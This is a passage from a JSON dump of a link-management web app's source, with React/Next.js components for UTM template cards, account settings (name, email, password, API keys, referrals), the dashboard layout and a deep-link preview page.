    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { UtmTemplateWithUserProps } from \"@/lib/types\";\nimport { useAddEditUtmTemplateModal } from \"@/ui/modals/add-edit-utm-template.modal\";\nimport { Delete, ThreeDots } from \"@/ui/shared/icons\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport {\n  Button,\n  CardList,\n  Popover,\n  TimestampTooltip,\n  Tooltip,\n  useKeyboardShortcut,\n  UTM_PARAMETERS,\n} from \"@dub/ui\";\nimport { DiamondTurnRight, LoadingSpinner, PenWriting } from \"@dub/ui/icons\";\nimport { cn, formatDate } from \"@dub/utils\";\nimport { Fragment, useContext, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { TemplatesListContext } from \"./page-client\";\n\nexport function TemplateCard({\n  template,\n}: {\n  template: UtmTemplateWithUserProps;\n}) {\n  const { id } = useWorkspace();\n\n  const { openMenuTemplateId, setOpenMenuTemplateId } =\n    useContext(TemplatesListContext);\n  const openPopover = openMenuTemplateId === template.id;\n  const setOpenPopover = (open: boolean) => {\n    setOpenMenuTemplateId(open ? template.id : null);\n  };\n\n  const [processing, setProcessing] = useState(false);\n\n  const { AddEditUtmTemplateModal, setShowAddEditUtmTemplateModal } =\n    useAddEditUtmTemplateModal({\n      props: template,\n    });\n\n  const handleDelete = async () => {\n    if (!confirm(\"Are you sure you want to delete this template?\")) return;\n\n    setOpenPopover(false);\n    setProcessing(true);\n    fetch(`/api/utm/${template.id}?workspaceId=${id}`, {\n      method: \"DELETE\",\n    })\n      .then(async (res) => {\n        if (res.ok) {\n          await mutate(`/api/utm?workspaceId=${id}`);\n          toast.success(\"Template deleted\");\n        } else {\n          const { error } = await res.json();\n          toast.error(error.message);\n        }\n      })\n      .finally(() => setProcessing(false));\n  };\n\n  const includedParams = UTM_PARAMETERS.filter(({ key }) => template[key]);\n\n  return (\n    <>\n      <AddEditUtmTemplateModal />\n\n      <CardList.Card\n        onClick={() => setShowAddEditUtmTemplateModal(true)}\n        innerClassName={cn(\n          \"flex items-center justify-between gap-5 sm:gap-8 md:gap-12 text-sm transition-opacity\",\n          processing && \"opacity-50\",\n        )}\n      >\n        <div className=\"flex min-w-0 grow items-center gap-3\">\n          <div className=\"flex min-w-0 items-center gap-2\">\n            <DiamondTurnRight className=\"size-5 shrink-0 text-neutral-500\" />\n            <span className=\"min-w-0 truncate whitespace-nowrap font-medium text-neutral-800\">\n              {template.name}\n            </span>\n          </div>\n          <div className=\"shrink-0\">\n            <UserTemplateAvatar template={template} />\n          </div>\n        </div>\n\n        <Tooltip\n          content={\n            <div className=\"grid max-w-[225px] grid-cols-[1fr,minmax(0,min-content)] gap-x-2 gap-y-1 whitespace-nowrap p-2 text-sm sm:min-w-[150px]\">\n              {includedParams.map(({ key, label, icon: Icon }) => (\n                <Fragment key={key}>\n                  <span className=\"font-medium text-neutral-600\">{label}</span>\n                  <span className=\"truncate text-neutral-500\">\n                    {template[key]}\n                  </span>\n                </Fragment>\n              ))}\n            </div>\n          }\n        >\n          <div className=\"xs:flex hidden shrink-0 items-center gap-1 px-2 text-neutral-500\">\n            {includedParams.map(({ icon: Icon }) => (\n              <Icon className=\"size-3.5\" />\n            ))}\n          </div>\n        </Tooltip>\n\n        <div className=\"hidden text-sm text-neutral-500 sm:block\">\n          <TimestampTooltip\n            timestamp={template.updatedAt}\n            rows={[\"local\"]}\n            side=\"left\"\n            delayDuration={150}\n          >\n            <span>{formatDate(template.updatedAt, { month: \"short\" })}</span>\n          </TimestampTooltip>\n        </div>\n\n        <div className=\"flex items-center gap-5 sm:gap-8 md:gap-12\">\n          <Popover\n            content={\n              <div className=\"grid w-full gap-px p-2 sm:w-48\">\n                <Button\n                  text=\"Edit\"\n                  variant=\"outline\"\n                  onClick={() => {\n                    setOpenPopover(false);\n                    setShowAddEditUtmTemplateModal(true);\n                  }}\n                  icon={<PenWriting className=\"h-4 w-4\" />}\n                  shortcut=\"E\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n                <Button\n                  text=\"Delete\"\n                  variant=\"danger-outline\"\n                  onClick={handleDelete}\n                  icon={<Delete className=\"h-4 w-4\" />}\n                  shortcut=\"X\"\n                  className=\"h-9 px-2 font-medium\"\n                />\n              </div>\n            }\n            align=\"end\"\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <Button\n              variant=\"secondary\"\n              className={cn(\n                \"h-8 px-1.5 outline-none transition-all duration-200\",\n                \"border-transparent data-[state=open]:border-neutral-500 sm:group-hover/card:data-[state=closed]:border-neutral-200\",\n              )}\n              icon={\n                processing ? (\n                  <LoadingSpinner className=\"h-5 w-5 shrink-0\" />\n                ) : (\n                  <ThreeDots className=\"h-5 w-5 shrink-0\" />\n                )\n              }\n              onClick={() => {\n                setOpenPopover(!openPopover);\n              }}\n            />\n          </Popover>\n        </div>\n\n        {/* Use consumer + separate component to use hovered state from CardList.Card context */}\n        <CardList.Card.Context.Consumer>\n          {({ hovered }) => (\n            <TemplateCardKeyboardShortcuts\n              enabled={openPopover || (hovered && openMenuTemplateId === null)}\n              onKeyDown={(e) => {\n                setOpenPopover(false);\n                switch (e.key) {\n                  case \"e\":\n                    setShowAddEditUtmTemplateModal(true);\n                    break;\n                  case \"x\":\n                    handleDelete();\n                    break;\n                }\n              }}\n            />\n          )}\n        </CardList.Card.Context.Consumer>\n      </CardList.Card>\n    </>\n  );\n}\n\nfunction TemplateCardKeyboardShortcuts({\n  enabled,\n  onKeyDown,\n}: {\n  enabled: boolean;\n  onKeyDown: (e: KeyboardEvent) => void;\n}) {\n  useKeyboardShortcut([\"e\", \"x\"], onKeyDown, {\n    enabled,\n  });\n\n  return null;\n}\n\nfunction UserTemplateAvatar({\n  template,\n}: {\n  template: UtmTemplateWithUserProps;\n}) {\n  const { user } = template;\n\n  return (\n    <Tooltip\n      content={\n        <div className=\"w-full p-3\">\n          <UserAvatar user={user} className=\"h-8 w-8\" />\n          <div className=\"mt-2 flex items-center gap-1.5\">\n            <p className=\"text-sm font-semibold text-neutral-700\">\n              {user?.name || user?.email || \"Anonymous User\"}\n            </p>\n          </div>\n          <div className=\"flex flex-col gap-1 text-xs text-neutral-500\">\n            {user?.name && user.email && <p>{user.email}</p>}\n          </div>\n        </div>\n      }\n    >\n      <div>\n        <UserAvatar user={user} className=\"h-4 w-4\" />\n      </div>\n    </Tooltip>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/page-client.tsx",
    "content": "\"use client\";\n\nimport DeleteAccountSection from \"@/ui/account/delete-account\";\nimport UpdateDefaultWorkspace from \"@/ui/account/update-default-workspace\";\nimport UpdateSubscription from \"@/ui/account/update-subscription\";\nimport UploadAvatar from \"@/ui/account/upload-avatar\";\nimport UserId from \"@/ui/account/user-id\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { Form, useCurrentSubdomain } from \"@dub/ui\";\nimport { APP_NAME } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport { toast } from \"sonner\";\n\nexport function SettingsPageClient() {\n  const { data: session, update, status } = useSession();\n  const { subdomain } = useCurrentSubdomain();\n\n  return (\n    <PageWidthWrapper className=\"mb-8 grid gap-8\">\n      <Form\n        title=\"Your Name\"\n        description={`This is your display name on ${APP_NAME}.`}\n        inputAttrs={{\n          name: \"name\",\n          defaultValue:\n            status === \"loading\" ? undefined : session?.user?.name || \"\",\n          placeholder: \"Steve Jobs\",\n          maxLength: 32,\n        }}\n        helpText=\"Max 32 characters.\"\n        handleSubmit={(data) =>\n          fetch(\"/api/user\", {\n            method: \"PATCH\",\n            headers: {\n              \"Content-Type\": \"application/json\",\n            },\n            body: JSON.stringify(data),\n          }).then(async (res) => {\n            if (res.status === 200) {\n              update();\n              toast.success(\"Successfully updated your name!\");\n            } else {\n              const { error } = await res.json();\n              toast.error(error.message);\n            }\n          })\n        }\n      />\n      <Form\n        title=\"Your Email\"\n        description={`This will be the email you use to log in to ${APP_NAME} and receive notifications. A confirmation is required for changes.`}\n        inputAttrs={{\n          name: \"email\",\n          type: \"email\",\n          defaultValue: session?.user?.email || undefined,\n          placeholder: \"panic@thedis.co\",\n        }}\n        helpText={<UpdateSubscription />}\n        handleSubmit={(data) =>\n          fetch(\"/api/user\", {\n            method: \"PATCH\",\n            headers: {\n              \"Content-Type\": \"application/json\",\n            },\n            body: JSON.stringify(data),\n          }).then(async (res) => {\n            if (res.status === 200) {\n              toast.success(\n                `A confirmation email has been sent to ${data.email}.`,\n              );\n            } else {\n              const { error } = await res.json();\n              toast.error(error.message);\n            }\n          })\n        }\n      />\n      <UploadAvatar />\n      <UserId />\n      {subdomain === \"app\" && <UpdateDefaultWorkspace />}\n      <DeleteAccountSection />\n    </PageWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { SettingsPageClient } from \"./page-client\";\n\nexport default function SettingsPage() {\n  return (\n    <PageContent title=\"General\">\n      <SettingsPageClient />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/referrals/page-client.tsx",
    "content": "\"use client\";\n\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { DubEmbed } from \"@dub/embed-react\";\nimport { CursorRays, Hyperlink, InvoiceDollar, UserCheck } from \"@dub/ui/icons\";\nimport { fetcher } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport useSWRImmutable from \"swr/immutable\";\n\nexport function ReferralsPageClient() {\n  const { data: session, status } = useSession();\n\n  const { data: { publicToken } = {}, isLoading } = useSWRImmutable<{\n    publicToken: string;\n  }>(session && \"/api/user/referrals-token\", fetcher, {\n    keepPreviousData: true,\n  });\n\n  if (status === \"loading\" || isLoading) {\n    return <LayoutLoader />;\n  }\n\n  if (!publicToken) {\n    return (\n      <div className=\"p-10\">\n        <AnimatedEmptyState\n          title=\"Refer a friend\"\n          description=\"Activate your referral link to share the word about Dub and earn cash rewards\"\n          className=\"border-none\"\n          cardContent={\n            <>\n              <Hyperlink className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n              <div className=\"xs:flex hidden grow items-center justify-end gap-1.5 text-neutral-500\">\n                <CursorRays className=\"size-3.5\" />\n                <UserCheck className=\"size-3.5\" />\n                <InvoiceDollar className=\"size-3.5\" />\n              </div>\n            </>\n          }\n          pillContent=\"Coming soon\"\n        />\n      </div>\n    );\n  }\n\n  return <DubEmbed data=\"referrals\" token={publicToken} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/referrals/page.tsx",
    "content": "import { ReferralsPageClient } from \"./page-client\";\n\nexport default function ReferralsPage() {\n  return <ReferralsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/security/page-client.tsx",
    "content": "\"use client\";\n\nimport useUser from \"@/lib/swr/use-user\";\nimport { RequestSetPassword } from \"./request-set-password\";\nimport { UpdatePassword } from \"./update-password\";\n\nexport const dynamic = \"force-dynamic\";\n\nexport default function SecurityPageClient() {\n  const { loading, user } = useUser();\n\n  if (loading) {\n    return (\n      <div className=\"rounded-xl border border-neutral-200 bg-white\">\n        <div className=\"flex flex-col space-y-1 border-b border-neutral-200 p-6\">\n          <h2 className=\"text-base font-semibold\">Password</h2>\n          <div className=\"h-3 w-56 rounded-full bg-neutral-100\"></div>\n        </div>\n        <div className=\"p-5\">\n          <div className=\"flex justify-between gap-2\">\n            <div className=\"h-3 w-56 rounded-full bg-neutral-100\"></div>\n            <div className=\"h-3 w-56 rounded-full bg-neutral-100\"></div>\n          </div>\n          <div className=\"mt-5 h-3 rounded-full bg-neutral-100\"></div>\n        </div>\n      </div>\n    );\n  }\n\n  return <>{user?.hasPassword ? <UpdatePassword /> : <RequestSetPassword />}</>;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/security/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport SecurityPageClient from \"./page-client\";\n\nexport default async function SecurityPage() {\n  return (\n    <PageContent title=\"Security\">\n      <PageWidthWrapper>\n        <SecurityPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/security/request-set-password.tsx",
    "content": "\"use client\";\n\nimport useUser from \"@/lib/swr/use-user\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\n// Displayed when the user doesn't have a password set for their account\nexport const RequestSetPassword = () => {\n  const { user } = useUser();\n  const [sending, setSending] = useState(false);\n\n  // Send an email to the user with instructions to set their password\n  const sendPasswordSetRequest = async () => {\n    try {\n      setSending(true);\n\n      const response = await fetch(\"/api/user/set-password\", {\n        method: \"POST\",\n      });\n\n      if (response.ok) {\n        toast.success(\n          `We've sent you an email to ${user?.email} with instructions to set your password`,\n        );\n        return;\n      }\n\n      const { error } = await response.json();\n      throw new Error(error.message);\n    } catch (error) {\n      toast.error(error.message);\n    } finally {\n      setSending(false);\n    }\n  };\n\n  return (\n    <div className=\"flex flex-col gap-2 rounded-xl border border-neutral-200 bg-white p-6\">\n      <h2 className=\"text-base font-semibold\">Password</h2>\n      <p className=\"pb-2 text-sm text-neutral-500\">\n        {user?.provider && (\n          <>\n            Your account is managed by{\" \"}\n            <span\n              className={cn(\n                \"font-medium capitalize text-neutral-700\",\n                user?.provider === \"saml\" && \"uppercase\",\n              )}\n            >\n              {user?.provider}\n            </span>\n            .{\" \"}\n          </>\n        )}\n        You can set a password to use with your Dub account.\n      </p>\n      <Button\n        text=\"Create account password\"\n        onClick={sendPasswordSetRequest}\n        loading={sending}\n        disabled={sending}\n        className=\"w-fit\"\n      />\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/security/update-password.tsx",
    "content": "\"use client\";\n\nimport { updatePasswordSchema } from \"@/lib/zod/schemas/auth\";\nimport { PasswordRequirements } from \"@/ui/shared/password-requirements\";\nimport { Button, Input, Label } from \"@dub/ui\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\n// Allow the user to update their existing password\nexport const UpdatePassword = () => {\n  const form = useForm<z.infer<typeof updatePasswordSchema>>();\n  const {\n    register,\n    handleSubmit,\n    setError,\n    formState: { isSubmitting, isDirty, errors },\n    reset,\n  } = form;\n\n  const onSubmit = handleSubmit(async (data) => {\n    try {\n      const response = await fetch(\"/api/user/password\", {\n        method: \"PATCH\",\n        body: JSON.stringify(data),\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        setError(\"currentPassword\", { message: error.message });\n        return;\n      }\n\n      reset();\n      toast.success(\"Your password has been updated.\");\n    } catch (error) {\n      toast.error(error.message);\n    }\n  });\n\n  return (\n    <form\n      className=\"rounded-xl border border-neutral-200 bg-white\"\n      onSubmit={onSubmit}\n    >\n      <div className=\"border-neutral-200\">\n        <div className=\"flex flex-col gap-6 p-6\">\n          <div className=\"flex flex-col space-y-1\">\n            <h2 className=\"text-xl font-medium\">Password</h2>\n            <p className=\"pb-2 text-sm text-neutral-500\">\n              Manage your account password on {process.env.NEXT_PUBLIC_APP_NAME}\n              .\n            </p>\n          </div>\n          <div className=\"grid w-full max-w-sm items-center gap-2\">\n            <Label htmlFor=\"currentPassword\">Current Password</Label>\n            <Input\n              type=\"password\"\n              {...register(\"currentPassword\", { required: true })}\n            />\n            <span\n              className=\"block text-sm text-red-500\"\n              role=\"alert\"\n              aria-live=\"assertive\"\n            >\n              {errors.currentPassword?.message}\n            </span>\n          </div>\n\n          <div className=\"grid w-full max-w-sm items-center gap-2\">\n            <Label htmlFor=\"newPassword\">New Password</Label>\n            <Input\n              type=\"password\"\n              {...register(\"newPassword\", { required: true })}\n            />\n            <FormProvider {...form}>\n              <PasswordRequirements field=\"newPassword\" className=\"mt-0\" />\n            </FormProvider>\n          </div>\n        </div>\n\n        <div className=\"flex flex-col items-start justify-between gap-4 rounded-b-xl border-t border-neutral-200 bg-neutral-50 px-5 py-4 sm:flex-row sm:items-center sm:justify-end sm:space-y-0 sm:py-3\">\n          <div className=\"shrink-0\">\n            <Button\n              text=\"Update Password\"\n              loading={isSubmitting}\n              disabled={!isDirty}\n              type=\"submit\"\n            />\n          </div>\n        </div>\n      </div>\n    </form>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/tokens/page-client.tsx",
    "content": "\"use client\";\n\nimport { TokenProps } from \"@/lib/types\";\nimport { useDeleteTokenModal } from \"@/ui/modals/delete-token-modal\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport { IconMenu, LoadingSpinner, Popover, TriangleWarning } from \"@dub/ui\";\nimport { fetcher, timeAgo } from \"@dub/utils\";\nimport { FolderOpen, MoreVertical, Trash } from \"lucide-react\";\nimport { useState } from \"react\";\nimport useSWR from \"swr\";\n\nexport default function TokensPageClient() {\n  const { data: tokens, isLoading } = useSWR<TokenProps[]>(\n    \"/api/user/tokens\",\n    fetcher,\n  );\n\n  return (\n    <>\n      <div className=\"flex items-start gap-3 rounded-lg border border-amber-200 bg-amber-50 px-4 py-2.5\">\n        <TriangleWarning className=\"mt-0.5 size-4 shrink-0 text-amber-600\" />\n        <p className=\"flex-1 text-sm text-amber-900\">\n          User API Keys have been replaced by Workspace API Keys. We recommend\n          creating a new{\" \"}\n          <a\n            href=\"https://dub.co/docs/api-reference/tokens\"\n            target=\"_blank\"\n            className=\"font-medium underline underline-offset-2 transition-colors hover:text-neutral-800\"\n          >\n            Workspace API Key\n          </a>{\" \"}\n          for more granular control over your resources such as Links, Tags,\n          Domains, Analytics, etc.{\" \"}\n          <a\n            href=\"https://dub.co/blog/workspace-api-keys\"\n            target=\"_blank\"\n            className=\"font-medium underline underline-offset-2 transition-colors hover:text-neutral-800\"\n          >\n            Read the announcement.\n          </a>\n        </p>\n      </div>\n\n      <div className=\"mt-6 rounded-lg border border-neutral-200 bg-white\">\n        {isLoading || !tokens ? (\n          <div className=\"flex flex-col items-center justify-center space-y-4 pb-20 pt-10\">\n            <LoadingSpinner className=\"h-6 w-6 text-neutral-500\" />\n            <p className=\"text-sm text-neutral-500\">Fetching API keys...</p>\n          </div>\n        ) : tokens.length > 0 ? (\n          <div>\n            <div className=\"grid grid-cols-5 border-b border-neutral-200 px-5 py-2 text-sm font-medium text-neutral-500 sm:px-10\">\n              <div className=\"col-span-3\">Name</div>\n              <div>Key</div>\n              <div className=\"text-center\">Last used</div>\n            </div>\n            <div className=\"divide-y divide-neutral-200\">\n              {tokens.map((token) => (\n                <TokenRow key={token.id} {...token} />\n              ))}\n            </div>\n          </div>\n        ) : (\n          <div className=\"flex flex-col items-center justify-center space-y-4 pb-20 pt-10\">\n            <FolderOpen className=\"h-6 w-6 text-neutral-500\" />\n            <p className=\"text-sm text-neutral-500\">\n              No API keys found. Create one above.\n            </p>\n          </div>\n        )}\n      </div>\n    </>\n  );\n}\n\nconst TokenRow = (token: TokenProps) => {\n  const [openPopover, setOpenPopover] = useState(false);\n\n  const { DeleteTokenModal, setShowDeleteTokenModal } = useDeleteTokenModal({\n    token,\n  });\n\n  return (\n    <>\n      <DeleteTokenModal />\n      <div className=\"relative grid grid-cols-5 items-center px-5 py-3 sm:px-10\">\n        <div className=\"col-span-3 flex items-center space-x-3\">\n          <TokenAvatar id={token.id} />\n          <div className=\"flex flex-col space-y-px\">\n            <p className=\"font-semibold text-neutral-700\">{token.name}</p>\n            <p className=\"text-sm text-neutral-500\" suppressHydrationWarning>\n              Created {timeAgo(token.createdAt, { withAgo: true })}\n            </p>\n          </div>\n        </div>\n        <div className=\"font-mono text-sm\">{token.partialKey}</div>\n        <div\n          className=\"text-center text-sm text-neutral-500\"\n          suppressHydrationWarning\n        >\n          {timeAgo(token.lastUsed)}\n        </div>\n        <Popover\n          content={\n            <div className=\"grid w-full gap-1 p-2 sm:w-48\">\n              <button\n                onClick={() => {\n                  setOpenPopover(false);\n                  setShowDeleteTokenModal(true);\n                }}\n                className=\"rounded-md p-2 text-left text-sm font-medium text-red-600 transition-all duration-75 hover:bg-red-600 hover:text-white\"\n              >\n                <IconMenu\n                  text=\"Delete API Key\"\n                  icon={<Trash className=\"h-4 w-4\" />}\n                />\n              </button>\n            </div>\n          }\n          align=\"end\"\n          openPopover={openPopover}\n          setOpenPopover={setOpenPopover}\n        >\n          <button\n            onClick={() => {\n              setOpenPopover(!openPopover);\n            }}\n            className=\"absolute right-4 rounded-md px-1 py-2 transition-all duration-75 hover:bg-neutral-100 active:bg-neutral-200\"\n          >\n            <MoreVertical className=\"h-5 w-5 text-neutral-500\" />\n          </button>\n        </Popover>\n      </div>\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/account/settings/tokens/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport TokensPageClient from \"./page-client\";\n\nexport default function TokensPage() {\n  return (\n    <PageContent\n      title=\"API Keys\"\n      titleInfo={{\n        title:\n          \"These API keys allow other apps to access your account. Use it with caution – do not share your API key with others, or expose it in the browser or other client-side code\",\n        href: \"https://dub.co/docs/api-reference/tokens\",\n      }}\n    >\n      <PageWidthWrapper>\n        <TokensPageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/layout.tsx",
    "content": "import { MainNav } from \"@/ui/layout/main-nav\";\nimport { AppSidebarNav } from \"@/ui/layout/sidebar/app-sidebar-nav\";\nimport { HelpButton } from \"@/ui/layout/sidebar/help-button\";\nimport { NewsRSC } from \"@/ui/layout/sidebar/news-rsc\";\nimport { ReferButton } from \"@/ui/layout/sidebar/refer-button\";\nimport Toolbar from \"@/ui/layout/toolbar/toolbar\";\nimport { UpgradeBanner } from \"@/ui/layout/upgrade-banner\";\nimport { constructMetadata } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\n\nexport const dynamic = \"force-static\";\nexport const metadata = constructMetadata();\n\nexport default async function Layout({ children }: { children: ReactNode }) {\n  return (\n    <>\n      <div className=\"min-h-screen w-full bg-white\">\n        <UpgradeBanner />\n        <MainNav\n          sidebar={AppSidebarNav}\n          toolContent={\n            <>\n              <ReferButton />\n              <HelpButton />\n            </>\n          }\n          newsContent={<NewsRSC />}\n        >\n          {children}\n        </MainNav>\n      </div>\n      <Toolbar show={[\"onboarding\"]} />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/loading.tsx",
    "content": "export { default } from \"@/ui/layout/layout-loader\";\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(deeplink)/deeplink/[domain]/[[...key]]/action-buttons.tsx",
    "content": "\"use client\";\n\nimport { Link } from \"@dub/prisma/client\";\nimport { Button, IOSAppStore, useCopyToClipboard } from \"@dub/ui\";\nimport { useSearchParams } from \"next/navigation\";\nimport { getTranslations, Language } from \"./translations\";\n\nexport function DeepLinkActionButtons({\n  link,\n  language,\n}: {\n  link: Pick<Link, \"shortLink\">;\n  language: Language;\n}) {\n  const t = getTranslations(language);\n  const searchParams = useSearchParams();\n  const searchParamsString = searchParams.toString();\n\n  const [_copied, copyToClipboard] = useCopyToClipboard();\n\n  const handleClick = async ({ withCopy }: { withCopy?: boolean } = {}) => {\n    if (withCopy) {\n      await copyToClipboard(\n        `${link.shortLink}${searchParamsString ? `?${searchParamsString}` : \"\"}`,\n      );\n    }\n\n    window.location.href = `${link.shortLink}?skip_deeplink_preview=1${searchParamsString ? `&${searchParamsString}` : \"\"}`;\n  };\n\n  return (\n    <div className=\"flex flex-col items-center gap-4\">\n      <Button\n        text={t.openInApp}\n        className=\"h-12 w-full rounded-xl bg-neutral-900 text-white\"\n        variant=\"primary\"\n        onClick={() => handleClick({ withCopy: true })}\n        icon={<IOSAppStore className=\"size-6\" />}\n      />\n\n      <button\n        onClick={() => handleClick()}\n        className=\"text-sm text-neutral-500\"\n      >\n        {t.openInAppWithoutCopying}\n      </button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(deeplink)/deeplink/[domain]/[[...key]]/brand-logo-badge.tsx",
    "content": "\"use client\";\n\nimport { Link } from \"@dub/prisma/client\";\nimport { useCopyToClipboard } from \"@dub/ui\";\nimport { getApexDomain, GOOGLE_FAVICON_URL } from \"@dub/utils\";\n\nexport function BrandLogoBadge({\n  link,\n}: {\n  link: Pick<Link, \"shortLink\" | \"url\">;\n}) {\n  const [_copied, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <button\n      onClick={async () => {\n        await copyToClipboard(link.shortLink);\n        window.location.href = `${link.shortLink}?skip_deeplink_preview=1`;\n      }}\n      className=\"inline-flex items-center gap-2 rounded-full bg-white px-3 py-1.5 shadow-lg shadow-black/10 ring-1 ring-neutral-200\"\n    >\n      <img\n        src={`${GOOGLE_FAVICON_URL}${getApexDomain(link.url)}`}\n        className=\"size-8 shrink-0 overflow-visible rounded-full p-px\"\n      />\n      <div className=\"pr-1.5 text-lg font-semibold text-neutral-900\">\n        {getApexDomain(link.url)}\n      </div>\n    </button>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(deeplink)/deeplink/[domain]/[[...key]]/page.tsx",
    "content": "import {\n  decodeLinkIfCaseSensitive,\n  encodeKeyIfCaseSensitive,\n} from \"@/lib/api/links/case-sensitivity\";\nimport { deepViewDataSchema } from \"@/lib/zod/schemas/deep-links\";\nimport { prisma } from \"@dub/prisma\";\nimport { Grid, Wordmark } from \"@dub/ui\";\nimport { ArrowRight, Copy, IOSAppStore, MobilePhone } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { headers } from \"next/headers\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport { DeepLinkActionButtons } from \"./action-buttons\";\nimport { BrandLogoBadge } from \"./brand-logo-badge\";\nimport { getLanguage, getTranslations } from \"./translations\";\n\nexport default async function DeepLinkPreviewPage(props: {\n  params: Promise<{ domain: string; key?: string[] }>;\n}) {\n  const params = await props.params;\n  const domain = params.domain;\n  const key = params.key ? decodeURIComponent(params.key.join(\"/\")) : \"_root\";\n\n  // Detect language from Accept-Language header\n  const headersList = await headers();\n  const acceptLanguage = headersList.get(\"accept-language\");\n  const language = getLanguage(acceptLanguage);\n  const t = getTranslations(language);\n\n  // Encode the key for case-sensitive domains before querying\n  const encodedKey = encodeKeyIfCaseSensitive({\n    domain,\n    key,\n  });\n\n  let link = await prisma.link.findUnique({\n    where: {\n      domain_key: {\n        domain,\n        key: encodedKey,\n      },\n    },\n    select: {\n      domain: true,\n      key: true,\n      shortLink: true,\n      url: true,\n      ios: true,\n      shortDomain: {\n        select: {\n          appleAppSiteAssociation: true,\n          deepviewData: true,\n        },\n      },\n    },\n  });\n\n  // if the link doesn't exist, we redirect to the root domain link\n  if (!link) {\n    redirect(`https://${domain}`);\n  }\n\n  const deepViewData = deepViewDataSchema.parse(link.shortDomain.deepviewData);\n\n  // if the link domain doesn't have an AASA file configured (or deepviewData is null)\n  // we skip the deep link preview and redirect to the link's URL\n  if (!link.shortDomain.appleAppSiteAssociation || !deepViewData) {\n    redirect(link.ios ?? link.url);\n  }\n\n  // decode the link if the domain is case sensitive\n  link = decodeLinkIfCaseSensitive(link);\n\n  // This should never happen\n  if (!link) {\n    redirect(`https://${domain}`);\n  }\n\n  return (\n    <>\n      {domain === \"pliab.ly\" && (\n        <>\n          <meta\n            name=\"apple-itunes-app\"\n            content=\"app-id=1188754932, app-clip-bundle-id=BCXYY9HCL3.com.romwodllc.romwod.Clip, app-clip-display=card\"\n          />\n          <meta name=\"apple-mobile-web-app-capable\" content=\"yes\" />\n        </>\n      )}\n      <main className=\"mx-auto flex h-dvh w-full max-w-md flex-col bg-white\">\n        <div className=\"absolute inset-0 isolate overflow-hidden bg-white\">\n          <div\n            className={cn(\n              \"absolute inset-y-0 left-1/2 w-[1200px] -translate-x-1/2\",\n              \"[mask-composite:intersect] [mask-image:linear-gradient(black,transparent_320px),linear-gradient(90deg,transparent,black_5%,black_95%,transparent)]\",\n            )}\n          >\n            <Grid\n              cellSize={60}\n              patternOffset={[0.75, 0]}\n              className=\"text-neutral-200\"\n            />\n          </div>\n\n          {[...Array(2)].map((_, idx) => (\n            <div\n              key={idx}\n              className={cn(\n                \"absolute left-1/2 top-6 size-[80px] -translate-x-1/2 -translate-y-1/2 scale-x-[1.6]\",\n                idx === 0 ? \"mix-blend-overlay\" : \"opacity-10\",\n              )}\n            >\n              {[...Array(idx === 0 ? 2 : 1)].map((_, idx) => (\n                <div\n                  key={idx}\n                  className={cn(\n                    \"absolute -inset-16 mix-blend-overlay blur-[50px] saturate-[2]\",\n                    \"bg-[conic-gradient(from_90deg,#F00_5deg,#EAB308_63deg,#5CFF80_115deg,#1E00FF_170deg,#855AFC_220deg,#3A8BFD_286deg,#F00_360deg)]\",\n                  )}\n                />\n              ))}\n            </div>\n          ))}\n        </div>\n\n        <div className=\"relative z-10 flex flex-1 flex-col px-8 py-8\">\n          <div className=\"flex justify-center\">\n            <Link\n              